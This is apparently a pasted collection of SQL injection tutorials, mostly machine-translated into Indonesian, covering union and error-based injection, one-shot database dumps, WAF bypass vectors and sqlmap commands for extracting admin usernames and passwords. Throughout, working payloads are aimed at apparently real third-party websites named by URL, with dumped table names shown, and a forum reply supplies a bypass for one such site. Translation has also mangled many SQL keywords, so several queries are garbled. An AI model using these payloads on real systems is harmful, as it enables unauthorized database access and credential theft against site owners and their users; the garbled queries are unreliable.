· 8 years ago · Jul 25, 2018, 08:38 AM
1Bagaimana menemukan Kolom yang Rentan? 25 25 25
2ANS: -
3Teknik 1: -
4gunakan -> id = -1 union pilih 1,2,3,4,5--
5use -> id = 1111/9999 / null / bybysql union pilih 1,2,3,4,5--
6use -> id = .1 / 1.2 / 12.4 union pilih 1,2,3,4,5--
7
8Catatan: - Saya menggunakan null dan bybysql. Tidak bingung dengan mereka, kamu bisa menggunakan watever u like means menggunakan data yang tidak ada [Thanks to Hack Forum]
9
10Teknik ke-2: - Parameter Salah
11Di sini Parameter Salah berarti meletakkan sesuatu yang membuat respons yang salah ke dalam PARAMETER SQL kami
12(a) 1 = 2, 1 = 0
13use -> id = 1 atau 1 = 2 union pilih 1,2,3,4,5--
14use -> id = 1 atau 1 = 0 union pilih 1,2,3,4,5--
15
16(B) Juga dapat kita gunakan memiliki, seperti, <>
17gunakan -> id = 1 memiliki / HAVING 1 = 2 union pilih 1,2,3,4,5--
18gunakan -> id = 1 1 suka / LIKE 2 union pilih 1,2,3,4,5--
19use -> id = 1 1 <> 1 union pilih 1,2,3,4,5--
20use -> id = 1 {having / and} 1 like 2 union pilih 1,2,3,4,5--
21use -> id = 1 {having / and} 1 <> 1 union pilih 1,2,3,4,5-- / * gunakan apakah memiliki atau dan
22
23Juga Anda dapat menggunakan dan pernyataan palsu / DAN SALAH
24gunakan -> id = 1 dan false union pilih 1,2,3,4,5--
25
26Teknik ke-3: - Bagi dengan 0 berarti -> / 0 dan + div + 0
27use -> id = 12/0 union pilih 1,2,3,4,5--
28
29gunakan -> id = 12 + div + 0 + union pilih 1,2,3,4,5--
30
31Teknik ke-4: - Perhatikan dengan seksama, atau gores kode sumber HTML
32
33Jumlahnya dapat ditampilkan di mana saja, ketika agak kasar, cukup ubah kueri untuk membuat semuanya lebih terlihat seperti sesuatu
34
35http://somesite.net/b.php?id=12/0 union pilih 1111,2222,3333,4444,5555--
36
37Di atas kita menggunakan 1111, 2222 bukannya 1,2 masing-masing
38
39Setelah menulis kode kode sumber terbuka, cari 'Nomor Kolom' seperti 1111,2222,3333,4444,5555 dengan menggunakan (CTRL + F: - Untuk menemukan sesuatu dalam kode sumber) Kemudian periksa di mana nomor dat muncul dalam kode sumber
40
41Terkadang nomor ditampilkan pada judul halaman.
42
43Ketika Anda mendapatkan kolom yang rentan maka Anda ingin menampilkan versi, pengguna, basis data atau beberapa bagian html untuk dapat dilihat di halaman. Jadi, 4 langkah. Ikuti Langkah-langkah ini: -
44
45i.) id = -1 union pilih 1111,2222, concat (0x223e, @@ version, 0x3c696d67207372633d22), 4444--
46Dimana
47223e => ">
483c696d67207372633d22 => <img src = "
49* Ingat kita menggunakan 0x sehingga dat diatas kode hex berfungsi
50
51ii.) 4 cetak nama kami
52id = -1 union pilih 1111,2222, concat (0x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d), 4444--
53Dimana
540x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d => \ "> <font color = red size = 4> AAKASH </ font> <! -
55
56Teknik ke-5: -
57U mencoba semua teknik di atas tetapi stille tidak bisa mendapatkan kolom rentan maka u juga dapat menggunakan teknik kelima ini .... Wats baru dalam teknik ini Lihat: -
58
59Anda dapat menggunakan serikat pilih 1,2,3,4,5-- sebagai serikat (pilih 1,2,3,4,5) -
60gunakan: - id = -2 union (pilih 1,2,3,4,5) -
61/ * Jika Anda melihat vul col seperti 3 kemudian
62
63gunakan: - id = -2 union (pilih 1,2,333 (4 cek) / @@ versi, 4,5) -
64
65Teknik 6: - Parameter Benar
66
67gunakan -> id = 1 + di mana + 1 = 1 union pilih 1,2,3,4,5--
68use -> id = 1 + dan + 50 = 50 union pilih 1,2,3,4,5--
69use -> id = 1 = 75 = 75 union pilih 1,2,3,4,5--
70
71Teknik 7: - Brute memaksa kolom / * Terima kasih kepada Master saya Devilhunter Dante
72Frnds ketika Anda tidak dapat menemukan jumlah kolom maka Anda juga dapat menggunakan teknik ini. Dengan teknik ini tidak hanya Anda menemukan sejumlah kolom, Anda juga mendapatkan kolom yang rentan.
73Ikuti langkah-langkah berikut
741st do -> union pilih 1--
752nd do -> union pilih 1,2--
763rd do -> union pilih 1,2,3--
774th do -> union slect 1,2,3,4--
785th do -> union pilih 1,2,3,4,5--
79
80© AKDK
81
82~ h
83
84
85
86Error Based Dump In One Shot (DIOS) - Oleh Ph.h4rh4r
87
88Kami Telah Mendiskusikan di Tutorial Kami Sebelumnya Tentang Injeksi SQL Berbasis Kesalahan.
89Dalam Tutorial Ini Anda Akan Mempelajari Cara Membangun Error Based Dump In Shot (DIOS).
90Seperti yang Kita Ketahui Bahwa dalam Error Based Query, Kami Memberikan Perintah Kami Ke server dan Memberikan Kami menghasilkan kesalahan.
91
92Jika Kami Ingin Mendapatkan versi () maka kami Berikan Permintaan Seperti ini.
93
94http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
95
96kami mendapatkan versi tercetak di halaman. versi = 5.5.42-cll
97
98Sekarang Mari kita dapatkan nama Database Primer.
99http://www.FakeSite.com/news.php?id=11 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
100dan Ini Database Primer kami.
101
102ini nama Database Primer "kkbaketo_wordpress" jadi ini adalah nama Database Primer kami. jika kita ingin mendapatkan yang lain kita biasanya Meningkatkan LIMIT 0,1 hingga LIMIT 1,1
103
104Tetapi kita juga bisa mendapatkan semua Database tanpa menggunakan LIMIT.
105Inilah SYNTAX untuk Mendapatkan Semua Database.
106
107(SELECT! X- ~ 0.FROM (SELECT (concat (0x3a3a3a, (pilih group_concat (schema_name) dari information_schema.schemata))) x) a)
108
109Sekarang Tambahkan SYNTAX ini untuk Dapatkan semua Databasis.
110
111http://www.FakeSite.com/news.php?id=(SELECT!x-~0.FROM(SELECT(concat(0x3a3a3a,(select group_concat (schema_name) dari information_schema.schemata))) x) a) - - -
112
113dan ini Database kami.
114
115information_schema, kkbaketo_wordpress
116
117Langkah selanjutnya adalah Dapatkan The Tables.
118Inilah contohnya.
119http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x7e, (pilih table_name dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) memiliki min (0) atau 1-- -
120dan kami Dapatkan Nama tabel di bawah Respons kesalahan ::
121
122Kami Hanya MENDAPATKAN satu Nama TABEL. kkbaketop_category
123
124Ini adalah nama Tabel Pertama Kami. Kita Dapat Mendapat Satu Selanjutnya dan Yang Lain dengan Meningkatkan Nilai LIMIT 0,1 hingga LIMIT 2,1 LIMIT 3,1
125Kami Meningkatkan BATAS untuk Tabel.
126LIMIT 0,1 untuk tabel 1.
127LIMIT 1,1 untuk tabel ke-2.
128Seperti yang Kita Ketahui bahwa kita Dapat DUMP Semua Tabel dan Kolom Dalam injeksi BERBASIS UNION.
129dalam ERROR BASED Dump dalam satu Shot (DIOS) kita tidak dapat Dump All Tables / Columns seperti UNION BASED Injection.
130Tapi Kita Bisa Dapatkan Beberapa Tabel / Kolom dari Basis Data dengan MEMBANGUN Kueri kami.
131
132
133Berikut ini adalah SYNTAX Kami untuk Tabel.
134
135(pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ())
136
137Sekarang tambahkan SYNTAX ini di DIOS Query kami.
138
139(SELECT! X- ~ 0 ./*! 50000FROM * / (/ *! 50000SELECT * / (/ *! 50000concat_ws * / (0x3a3a3a, (pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a)
140
141
142DIOS Query kami Siap untuk Tabel.
143
144http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
145
146Ini Meja Kami.
147
148kkbaketop_admin, kkbaketop_category, kkbaketop_content, kkbaketop_contentOld, kkbaketop_meta, kkbaketop_navigation, kkbaketop_product
149
150Kami Juga dapat HTML TAG untuk menampilkan Semua Tabel di Saluran Baru.
151HTML TAG = <BR>
152kita bisa menggunakannya dengan mengkodekannya di HEX Value atau Menempatkan Single Quote Sebelum dan Sesudah TAG HTML.
153HEX Value = 3c42523e kita harus menggunakan 0x sebelum Nilai HEX untuk Menggunakan TAG HTML.
154HEX Value = 0x3c42523e
155Menempatkan Kutipan Tunggal = '<BR>'
156
157PUT TAG HTML Sebelum Table_name.
158Hmmm sekarang Memungkinkan Tambahkan Tag ini ke Error Based DIOS Query kami dan jalankan.
159
160http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
161
162Sekarang Semua Tabel berada dalam garis BARU.
163
164Langkah Berikutnya adalah Kita Harus Mendapatkan Kolom.
165
166Ini adalah SYNTAX untuk Kolom.
167
168(pilih group_concat (3c42523e, table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ())
169
170Tambahkan SYNTAX ini di DIOS Query dan Execute it untuk Mendapatkan Kolom dari Setiap Tabel.
171
172Dan berikut adalah DIOS FINAL Pertanyaan untuk Tabel dan Kolom Berbasis Kesalahan dalam satu SHOT.
173
174http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ()))) x) a) - -
175©
176~ Ph.h4rh4r
177
178
179Error Based Injection -Tutorial (Ph.h4rh4r)
180Setelah Union Based Injection Dalam Tutorial ini Anda Akan Mempelajari Error Based SQL Injection.
181Bagaimana Anda Akan Memahami Bahwa WebSite Target kami dalam Injeksi Berbasis Kesalahan. ??
182Hmm Sementara kita adalah Situs Suntik, Dan Hitung Jumlah Total Kolom dan Kemudian Bangun Query SQL Berbasis Serikat.
183
184Kami mendapat 6 Jumlah Kolom. dan UNION BASED Query kami.
185
186http://www.target.com/index.php?id=-1 Union Select 1,2,3,4,5,6-- -
187
188Ketika kami Melaksanakan Query Berbasis Persatuan kami tidak memberikan kami Nomor Kolom yang Rentan yang Dicetak di Halaman Web atau dalam HTML.
189Ini Memberi Kita Pesan Kesalahan.
190
191Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda
192
193Kadang-kadang Situs TARGET tidak Memberikan Nomor Kolom yang Rentan dan Juga Tidak Ada Jenis Kesalahan. Situs-situs tersebut juga error SQL / Double Query SQL injection.
194Jadi Kami Diolah Selanjutnya Dengan Error Based Queries.
195
196Langkah pertama adalah Untuk Mendapatkan Versi.
197Berikut adalah Query Berdasarkan Kesalahan Untuk Dapatkan Versi.
198
199http://www.target.com/index.php?id=1 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
200
201dan kami Akan Mendapatkan Versi Dicetak di WebPage.
202
203
204Langkah kedua adalah Untuk Mendapatkan Nama Database.
205
206Sekarang Mari Periksa Nama Database Saat Ini.
207Situs Web Dapat Memiliki Lebih dari 2, 3, atau 5 Basis Data. Jadi Kami Gunakan BATAS untuk mendapatkan semua Database.
208
209LIMIT 0,1 LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
210
211Inilah Pertanyaan Kami Untuk Mendapatkan Basis Data.
212
213http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
214
215
216Langkah ketiga adalah untuk mendapatkan tabel.
217Sekarang Kita Harus Mendapat Tabel. Seperti Kami Ingin Tabel Dari Database Primer.
218Berikut Ini Query Untuk Tabel Dari Database Primer.
219http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema. tabel di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
220
221Tingkatkan Nilai Batas sebagai LIMIT 0,1 hingga LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
222Sampai Anda Mendapatkan Nama Tabel yang Diinginkan Anda.
223
224Langkah ke 4 adalah Mendapatkan Nama Kolom Dari Nama Tabel Bertarget Kami.
225Sekarang Kita Harus Mendapatkan Nama Kolom Dari Nama Tabel.
226Kami Mendapat Tabel Of Admin.
227Jadi Mari Dapatkan Kolom Dari Admin Tabel.
228
229Berikut Ini Query Untuk Mendapatkan Nama Kolom Dari Tabel Admin.
230
231http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0xADMIN membatasi 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
232
233Untuk Mendapatkan Kolom Dari Tabel Admin kita Harus Mengkodekannya Di HEX dan Kemudian Kita Dapat Melaksanakan Permintaan Kita.
234Inilah BAGIAN dalam Pertanyaan Kita.
235
236Table_name = ADMIN
237Inilah Nilai HEX dari ADMIN = 61646d696e
238Dan Letakkan Dengan 0x untuk Membuat Kueri yang Benar.
239
240Table_name = 0x61646d696e
241
242Dan Inilah Kueri.
243http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0x61646d696e limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
244
245Tingkatkan Nilai BATAS menjadi BATAS 0,1 LIMIT 1,1 LIMIT 2,1
246sampai kita Dapatkan Nama Kolom Seperti Nama Pengguna dan Kata Sandi.
247
2485Th Step Is to Extracting Data From Columns.
249Setelah Kami Dapatkan Nama Kolom Seperti Nama Pengguna Dan Kata Sandi.
250Langkah Berikutnya Adalah Mengeluarkan Data Dari Kolom Ini.
251
252Berikut ini adalah Query Untuk Mengekstrak Data dari Kolom.
253
254http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME_1,0x3a, COLUMN_NAME_2) sebagai char) , 0x3a)) dari batas TABLENAME 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
255
256KAMI Letakkan TABLENAME = Admin
257Dan
258Column_name_1 = nama pengguna
259Column_name_2 = kata sandi
260
261Jadi, inilah Query FINAL.
262
263http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x3a, kata sandi) sebagai char) , 0x3a)) dari batas admin 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
264
265Dan Kami Dapatkan Nama Pengguna dan Kata Sandi ADMIN yang tercetak di Halaman.
266
267~ Ph.h4rh4r
268
269
270
271Amir Hossan Rahel
272http://www.realinstruments.ca/gallery.php?id=7 /*!50000union*/ /*!50000select*/ 1,2,3,4,5,6,7--+
273hello sir how I can bypass 'union select' please help me or post it your page thank you
274
275Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
276realinstruments.ca
2771 · Suka · Tanggapi · Balas · Laporkan · 23 Jan
278SQLI Tutorial - Beginners
279http://www.realinstruments.ca/gallery.php?id=.7 unUNIONion seSELECTlect 11111111,2,3,4,5,6,7-- -
280
281Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
282realinstruments.ca
283Suka · Tanggapi · Balas · Laporkan · 23 Jan
284SQLI Tutorial - Beginners
285SQLI Tutorial - Beginners
286No problem
287SQLI Tutor... membalas · Lihat semua 2 balasan
288
289
290
291Modsecurity WAF Bypass vectors
292
293--new version--
294id=@:=(-- a %0a select 123 from {f table})|0.1union-- a %0a select+1,@,3
295id=@:=(-- a %0a select 123 from {f table})*.9union/*!%0aselect 1,@,3*/
296id=@:=(%23 a %0a select 123 from {f table})-\Nunion%23 a %0a select+1,@,3
297id=@:=(%23 a %0a select 123 from ((table)))/1e0union%23 a %0a select+1,@,3
298id=@:=(%23 a %0a select 123 from ((table)))/1e0union%a0(select 1,@,3)
299
300--old version--
301id=1-.0union distinctrow select 1,2,3 from {f table}
302id=-1 /*!50000union*/ select 1,2,.3from table
303id=-1e0union distinct select 1,2,3e0from table
304id=\Nunion (select 1,2,\Nfrom table)
305id=.1union distinct select sql_cache 1,2,3 from table
306
307-h
308
309mysql injection concat() replacements
310
311select export_set(1,version(),user(),' : ',2);
3125.1.7 : my_user
313
314select export_set(1,version(),export_set(1,user(),schema(),' : ',2),' : ',2);
3155.1.7 : my_user : my_db
316
317select make_set(7,version(),user(),schema());
3185.1.7,my_user,my_db
319
320select replace(make_set(7,version(),user(),schema()),',',' : ');
3215.1.7 : my_user : my_db
322
323select insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ');
3245.1.7 : my_user
325
326select insert(insert(schema(),length(schema())--1,0,insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ')),length(schema())--1,0,' : ');
3275.1.7 : my_user : my_db
328
329select replace(replace(replace('!?$','!',version()),'?',' : '),'$',user());
3305.1.7 : my_user
331
332select replace(replace(replace(replace('!?$?^','!',version()),'?',' : '),'$',user()),'^',schema());
3335.1.7 : my_user : my_db
334
335select lpad(lpad(user(),@x:=length(user())--3,' : '),@x--length(version()),version())
3365.1.7 : my_user
337
338select lpad(lpad(lpad(lpad(schema(),@x:=length(schema())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(version()),version());
3395.1.7 : my_user : my_db
340
341select rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user());
3425.1.7 : my_user
343
344select rpad(rpad(rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(schema()),schema());
3455.1.7 : my_user : my_db
346
347group_concat() without comma-
348select (select group_concat(a separator ' : ') from (select version()a union select user() union select schema())x);
3495.1.7 : my_user : my_db
350
351concat() waf bypass-
352/*!50000group_coNcat(*/)
353/*!50000coNcat(*/)
354`coNcat`%0a%0b%0c%0d%a0()
355{snoopdogg concat()}
356{s {n {o {o {p {d {o {g {g`coNcat`()}}}}}}}}}
357{s {n {o {o {p {d {o {g {g`coNcat`/*!50000(*/)}}}}}}}}}
358{s {n {o {o {p {d {o {g {g`coNcat`/*!50000 /*! /*!40000 /*! /*!(*/((((1 %23aaa%0a )))))}}}}}}}}}
359concat-- a%0a()
360concat%23aaaaaaaaaa..........%0a(%23aaaaaaa.........%0a)
361concat/**x**/()
362
363
364
365waf bypass with %75nion %73elect
366redirect = bypass with And 1<1 or add @ befor variable number like =@64' or =@'
367there redirect with dot in =.64' bypass by add @ like =@64' and 0 union select
368
369~h
370
371
372Multi-Query-Injection
373
374id=1-- -' our query-- -
375id=1%23' our query -- -
376id=1 union select null,null,null-- -' our query %23
377
378=1 ;%00 ' and 0 union select 1 ;%00!
379=1 -- - ' and 0 union select 1 -- -%
380=1 -- - ' or 1 union select 1,2 limit 2 -- -
381
382-----------------------------------------------------------
383Other Method
384
385=1' in boolean mode) UNION SELECT 1,2-- -
386=1' group by 1 union select 1,2-- -
387=1' procedure analyse() union select 1,2-- -
388=1) having 1=0 union select '11111' from dual -- - Where 0 %23
389=1 union select 1 LIMIT 0,1-- -
390'=0=column union select version() limit 1-- -
391
392~h
393
394
395Error based basic Tidak terlalu detail
396Cara pertama =====>
397+ DAN (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT! 1) x GROUP oleh CONCAT ((versi SELECT () FROM information_schema.tables LIMIT 0,1), FLOOR (RAND (0) * 2)) )
398Cara kedua ====> packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, versi (), 0x7e) + dari + information_schema.tables + limit + 0,1), 1,25), floor (rand (0) * 2))) a) -
399===>
400Database ===> packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, group_concat (schema_name), 0x7e) + dari + information_schema.schemata% 20limit + 0,1), 1,25), floor (rand (0 ) * 2))) a) -
401==> Masukan 'informasi' duplikat
402skema, packer1 'untuk kunci' grup_
403kunci'
404tabel ===>
405packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 1,25), lantai ( rand (0) * 2))) a) -
406===> Masukan duplikat 'tambah, admin, astro_
407ques, astr1 'untuk kunci' group_key '
408packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2union+select+3)x+group+by + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 58,25), lantai (rand ( 0) * 2))) a) -
409===> Entri duplikat
410'Laints, acara, mengundang, bergabung, 1' untuk kunci
411'group_key'
412+ dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (column_name), 0x7e) + f rom + information_schema.columns di mana table_name = 0xHex_Table limit + 0,1), 1,25), floor (rand (0) * 2))) a) - x
413+ dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (nama pengguna, 0x3a, passwo rd), 0x7e) + dari + pengguna limit + 0,1), 1,25), lantai (rand (0) * 2))) a) -
414
415-h
416
417
418
419Hi everyone,Today I'll show you a SQLI TIP,
420get large data with one request using substr function. use 'limit' is slow,
421so im gonna teach you how to bypass the error 1242,"'subquery
422returns more than 1 row'".
423I) Using substr function
424==
425the subtr function is usually for blind
426injection,but we can use this for bypass the limit
427of group_concat and the error 1242.
428for example,
429
430Code:
431
432http://www.lermitagehotel.ee/?
433pageid=160 +and+(select+1+from
434+(select+count(*),concat((select
435(select+concat(concat(user_na
436me,0x3a,user_pass),0x7e))+from
437+users+limit+0,1),floor(rand
438(0)*2))x+from+informat
439ion_schema.tables+group+by+x)a)
440error 1242-
441
442Subquery returns more than 1 row.
443we can use substr like that
444
445Code:
446
447And(select 1 from(select count
448(*),concat(0x3a,(select substr
449(group_concat(column1,0x3a,column2),1,150)from table where table_schema like database()),0x3a,floor(rand(0)*2))xfrom information_schema.tables group by x)z)-- -
450
451so
452Code:
453
454http://www.lermitagehotel.ee/?
455pageid=160 And(select 1 from
456(select count(*),concat(0x3a,
457(select substr(group_concat
458(table_name),1,150)from
459information_schema.tables where
460table_schema like database
461()),0x3a,floor(rand(0)*2))x from
462information_schema.tables group
463by x)z)-- -
464and
465
466Quote: Duplicate entry
467':admin_topmenu,album_photos,albums,
468defaults,form_items,form_log,' for key
469'group_key'
470Incre substr(group_concat(table_name),1,150) ...
471substr(group_concat(table_name),30,150)... to
472get next
473--
474
475in mysql>5
476Code:
477or 1 group by concat_ws(0x3a,
478(select substr(group_concat
479(column),1,150)
480from table),floor(rand(0)*2))
481having min(0) or 1-- -
482--
483in mysql 5.1+
484Code:
485and updatexml(0,concat(0x3a,
486(select substr(group_concat
487(column),1,150)
488from table)),0)-- -
489--
490notice: sometimes query number 2 dosent
491work,so use the first one.
492Code:
493II) Using concat() and group_concat
494()
495==
496Code:
497and updatexml(0,concat(0x3a,
498(select concat(0x3a,group_concat
499(column))
500from table)),0)-- -
501only for extractvalue() / updatexml().
502
503enjoy
504
505~h
506
507
508HACK WEBSITE MENGGUNAKAN SQLMAP SQL INJECTION TOOLS FULL TUTORIAL
509
510bagaimana cara menggunakan sqlmap pada metode GET
511
512
513- fingerprinting
514
515pertama Anda harus memiliki situs web yang rentan untuk target, jika Anda memiliki target sekarang buka sqlmap dan ketik perintah ini
516./sqlmap.py -u "http://www.target.com/index.php?id=2"
517sqlmap akan mendeteksi rentan dari target Anda dan akan memberi tahu Anda apa jenis rentan dan apa tipe database. dan jika target Anda rentan, lanjutkan ke langkah berikutnya.
518
519
520- temukan nama database
521
522ketik perintah ini untuk mencari nama database
523./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
524pada langkah ini, sqlmap akan menemukan nama database target Anda, misalnya saya menggunakan "web_db" untuk nama database.
525
526
527- temukan nama tabel
528
529Setelah sqlmap menemukan nama databse waktunya untuk menemukan nama tabel. gunakan perintah ini untuk menemukan nama tabel
530./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --table
531di sana akan menunjukkan kepada Anda beberapa nama tabel di dalam database "web_db", ok misalnya saya menggunakan "tbl_admin" sebagai nama tabel.
532
533
534- temukan nama kolom
535
536waktunya untuk menemukan apa yang ada di dalam "tbl_admin" dari "web_db" dan kami menyebutnya kolom. untuk menemukan kolom ketik perintah ini
537./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
538ini akan menunjukkan daftar nama kolom, misalnya saya menemukan kolom "pengguna" dan "kata sandi".
539
540
541- buang
542
543perintah ini akan membuang data dari kolom, ketik perintah ini
544./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
545dan saya menemukan "user = admin" dan "password = adminpass". sekarang buka web dan temukan admin login.
546
547bagaimana cara menggunakan sqlmap pada metode POST
548
549
550caranya sama dengan metode GET, hanya saja Anda harus memasukkan data POST ke sqlmap. misalnya saya memiliki situs yang rentan pada jalur "login.php". data POST adalah "id = admin & pwd = kata sandi & kirim = login". bagaimana cara menemukan data POST? cukup gunakan "Live HTTPheaders" yang merupakan add ons firefox.
551
552
553- fingerprinting
554
555caranya yang sama dengan metode GET, ketikkan saja perintah ini
556./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login"
557
558- temukan nama database
559
560./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --dbs
561
562- temukan nama tabel
563
564./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db --table
565
566- temukan nama kolom
567
568./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db -T tbl_admin - kolom
569
570- buang
571
572./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
573
574
575termasuk cookie
576
577
578masih metode yang sama tetapi Anda hanya harus memasukkan cookie
579./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
580atau
581./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
582
583parameter khusus
584
585
586jika Anda memiliki parameter khusus untuk menyuntikkan Anda dapat mengetik "-p" seperti perintah ini
587./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin" -p "pwd"
588sqlmap akan menyuntikkan parameter "pwd". atau Anda dapat memberi bintang "*" ke parameter untuk disuntikkan, seperti ini
589./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = * kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
590
591penutup
592
593
594jika Anda pengguna windows, jangan gunakan "./" untuk menjalankannya pada cmd.
595
596Go To Download Software: http://sqlmap.org/
597
598when you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST...
599
600SQLi Waf Behaviours
601
602union select 1,2,3,4-- - [<---WAF
603
604/*!union*/ select 1,2,3,4-- - [<--- No WAF
605
606/*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
607
608/*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
609
610/*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
611
612/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
613
614/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
615
616/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
617
618/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
619
620/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
621
622/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
623
624~asero
625
626EXTRACTING USERNAME AND PASSWORD IN THE TABLE
627
628QUERY :
629
630(select (@x) from (select (@x:=0x00), (select (@x) from users where (@x) in (@x:=concat(@x,'<br>',username,' : ',password))))x)
631
632Here are the three methods which i know and mostly use to bypass [,] COMMA
6331) union select 1/*!,*/ 2/*!,*/3
6342) union select 1,CHAR(44), 2,CHAR(44),3,char(44)
